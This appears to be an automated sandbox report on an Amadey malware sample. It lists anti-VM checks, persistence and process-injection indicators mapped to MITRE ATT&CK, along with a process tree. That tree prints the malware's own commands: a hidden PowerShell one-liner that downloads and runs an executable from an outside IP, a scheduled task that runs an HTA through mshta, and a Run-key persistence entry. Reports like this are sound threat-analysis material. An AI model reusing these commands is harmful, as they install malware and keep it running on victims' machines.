amadey | e177bcf0d2e553d675134dcd71999e0d23548c1a4860aece07208f1fe9a39c35

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Temp7JMJCV5QKONIF4I6VPLFETKHRNBIC0ZZ.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
23	4824	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4824	powershell.exe

Downloads MZ/PE file 4 IoCs

flow	pid	Process
38	4328	rapes.exe
38	4328	rapes.exe
38	4328	rapes.exe
23	4824	powershell.exe

Checks BIOS information in registry 2 TTPs 6 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Temp7JMJCV5QKONIF4I6VPLFETKHRNBIC0ZZ.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Temp7JMJCV5QKONIF4I6VPLFETKHRNBIC0ZZ.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-22591836-1183090055-1220658180-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-22591836-1183090055-1220658180-1000\Control Panel\International\Geo\Nation	Temp7JMJCV5QKONIF4I6VPLFETKHRNBIC0ZZ.EXE
Key value queried	\REGISTRY\USER\S-1-5-21-22591836-1183090055-1220658180-1000\Control Panel\International\Geo\Nation	rapes.exe
Key value queried	\REGISTRY\USER\S-1-5-21-22591836-1183090055-1220658180-1000\Control Panel\International\Geo\Nation	W6ySCZP.exe

Executes dropped EXE 7 IoCs

pid	Process
1244	Temp7JMJCV5QKONIF4I6VPLFETKHRNBIC0ZZ.EXE
4328	rapes.exe
1624	4klgwMz.exe
1196	8jQumY5.exe
4980	rapes.exe
4656	W6ySCZP.exe
864	Gxtuum.exe

Identifies Wine through registry keys 2 TTPs 3 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-22591836-1183090055-1220658180-1000\Software\Wine	Temp7JMJCV5QKONIF4I6VPLFETKHRNBIC0ZZ.EXE
Key opened	\REGISTRY\USER\S-1-5-21-22591836-1183090055-1220658180-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-22591836-1183090055-1220658180-1000\Software\Wine	rapes.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-22591836-1183090055-1220658180-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\cebafffffcbc = "\"C:\\ProgramData\\cebafffffcbc.exe\""	4klgwMz.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

pid	Process
1244	Temp7JMJCV5QKONIF4I6VPLFETKHRNBIC0ZZ.EXE
4328	rapes.exe
4980	rapes.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\rapes.job	Temp7JMJCV5QKONIF4I6VPLFETKHRNBIC0ZZ.EXE
File created	C:\Windows\Tasks\Gxtuum.job	W6ySCZP.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rapes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	e177bcf0d2e553d675134dcd71999e0d23548c1a4860aece07208f1fe9a39c35.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Temp7JMJCV5QKONIF4I6VPLFETKHRNBIC0ZZ.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	8jQumY5.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	W6ySCZP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Gxtuum.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
432	schtasks.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
4824	powershell.exe
4824	powershell.exe
1244	Temp7JMJCV5QKONIF4I6VPLFETKHRNBIC0ZZ.EXE
1244	Temp7JMJCV5QKONIF4I6VPLFETKHRNBIC0ZZ.EXE
4328	rapes.exe
4328	rapes.exe
1624	4klgwMz.exe
1624	4klgwMz.exe
4980	rapes.exe
4980	rapes.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	4824	powershell.exe
Token: SeShutdownPrivilege	3424	Explorer.EXE
Token: SeCreatePagefilePrivilege	3424	Explorer.EXE
Token: SeShutdownPrivilege	3424	Explorer.EXE
Token: SeCreatePagefilePrivilege	3424	Explorer.EXE
Token: SeShutdownPrivilege	3424	Explorer.EXE
Token: SeCreatePagefilePrivilege	3424	Explorer.EXE

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
3436	e177bcf0d2e553d675134dcd71999e0d23548c1a4860aece07208f1fe9a39c35.exe
3436	e177bcf0d2e553d675134dcd71999e0d23548c1a4860aece07208f1fe9a39c35.exe
3436	e177bcf0d2e553d675134dcd71999e0d23548c1a4860aece07208f1fe9a39c35.exe
1244	Temp7JMJCV5QKONIF4I6VPLFETKHRNBIC0ZZ.EXE

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
3436	e177bcf0d2e553d675134dcd71999e0d23548c1a4860aece07208f1fe9a39c35.exe
3436	e177bcf0d2e553d675134dcd71999e0d23548c1a4860aece07208f1fe9a39c35.exe
3436	e177bcf0d2e553d675134dcd71999e0d23548c1a4860aece07208f1fe9a39c35.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 3436 wrote to memory of 2244	3436	e177bcf0d2e553d675134dcd71999e0d23548c1a4860aece07208f1fe9a39c35.exe	88
PID 3436 wrote to memory of 2244	3436	e177bcf0d2e553d675134dcd71999e0d23548c1a4860aece07208f1fe9a39c35.exe	88
PID 3436 wrote to memory of 2244	3436	e177bcf0d2e553d675134dcd71999e0d23548c1a4860aece07208f1fe9a39c35.exe	88
PID 3436 wrote to memory of 4820	3436	e177bcf0d2e553d675134dcd71999e0d23548c1a4860aece07208f1fe9a39c35.exe	89
PID 3436 wrote to memory of 4820	3436	e177bcf0d2e553d675134dcd71999e0d23548c1a4860aece07208f1fe9a39c35.exe	89
PID 3436 wrote to memory of 4820	3436	e177bcf0d2e553d675134dcd71999e0d23548c1a4860aece07208f1fe9a39c35.exe	89
PID 2244 wrote to memory of 432	2244	cmd.exe	91
PID 2244 wrote to memory of 432	2244	cmd.exe	91
PID 2244 wrote to memory of 432	2244	cmd.exe	91
PID 4820 wrote to memory of 4824	4820	mshta.exe	93
PID 4820 wrote to memory of 4824	4820	mshta.exe	93
PID 4820 wrote to memory of 4824	4820	mshta.exe	93
PID 4824 wrote to memory of 1244	4824	powershell.exe	103
PID 4824 wrote to memory of 1244	4824	powershell.exe	103
PID 4824 wrote to memory of 1244	4824	powershell.exe	103
PID 1244 wrote to memory of 4328	1244	Temp7JMJCV5QKONIF4I6VPLFETKHRNBIC0ZZ.EXE	105
PID 1244 wrote to memory of 4328	1244	Temp7JMJCV5QKONIF4I6VPLFETKHRNBIC0ZZ.EXE	105
PID 1244 wrote to memory of 4328	1244	Temp7JMJCV5QKONIF4I6VPLFETKHRNBIC0ZZ.EXE	105
PID 4328 wrote to memory of 1624	4328	rapes.exe	108
PID 4328 wrote to memory of 1624	4328	rapes.exe	108
PID 1624 wrote to memory of 3424	1624	4klgwMz.exe	56
PID 4328 wrote to memory of 1196	4328	rapes.exe	109
PID 4328 wrote to memory of 1196	4328	rapes.exe	109
PID 4328 wrote to memory of 1196	4328	rapes.exe	109
PID 4328 wrote to memory of 4656	4328	rapes.exe	111
PID 4328 wrote to memory of 4656	4328	rapes.exe	111
PID 4328 wrote to memory of 4656	4328	rapes.exe	111
PID 4656 wrote to memory of 864	4656	W6ySCZP.exe	113
PID 4656 wrote to memory of 864	4656	W6ySCZP.exe	113
PID 4656 wrote to memory of 864	4656	W6ySCZP.exe	113

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3424
- C:\Users\Admin\AppData\Local\Temp\e177bcf0d2e553d675134dcd71999e0d23548c1a4860aece07208f1fe9a39c35.exe
  "C:\Users\Admin\AppData\Local\Temp\e177bcf0d2e553d675134dcd71999e0d23548c1a4860aece07208f1fe9a39c35.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:3436
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn EwXBGmaLpCK /tr "mshta C:\Users\Admin\AppData\Local\Temp\mS9DEq1mn.hta" /sc minute /mo 25 /ru "Admin" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2244
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn EwXBGmaLpCK /tr "mshta C:\Users\Admin\AppData\Local\Temp\mS9DEq1mn.hta" /sc minute /mo 25 /ru "Admin" /f
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:432
- - C:\Windows\SysWOW64\mshta.exe
    mshta C:\Users\Admin\AppData\Local\Temp\mS9DEq1mn.hta
    3⤵
    - Checks computer location settings
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4820
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'7JMJCV5QKONIF4I6VPLFETKHRNBIC0ZZ.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Downloads MZ/PE file
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4824
    - - C:\Users\Admin\AppData\Local\Temp7JMJCV5QKONIF4I6VPLFETKHRNBIC0ZZ.EXE
        
        "C:\Users\Admin\AppData\Local\Temp7JMJCV5QKONIF4I6VPLFETKHRNBIC0ZZ.EXE"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Checks computer location settings
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of WriteProcessMemory
        
        PID:1244
      - C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
        
        "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Downloads MZ/PE file
        Checks BIOS information in registry
        Checks computer location settings
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:4328
        
        C:\Users\Admin\AppData\Local\Temp\10089420101\4klgwMz.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10089420101\4klgwMz.exe"
        7⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1624
        
        C:\Users\Admin\AppData\Local\Temp\10089720101\8jQumY5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10089720101\8jQumY5.exe"
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1196
        
        C:\Users\Admin\AppData\Local\Temp\10090400101\W6ySCZP.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10090400101\W6ySCZP.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4656
        
        C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe
        
        "C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe"
        8⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:864

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:4980

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

2

Credential Access

Discovery

Query Registry

4

System Information Discovery

3

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion

2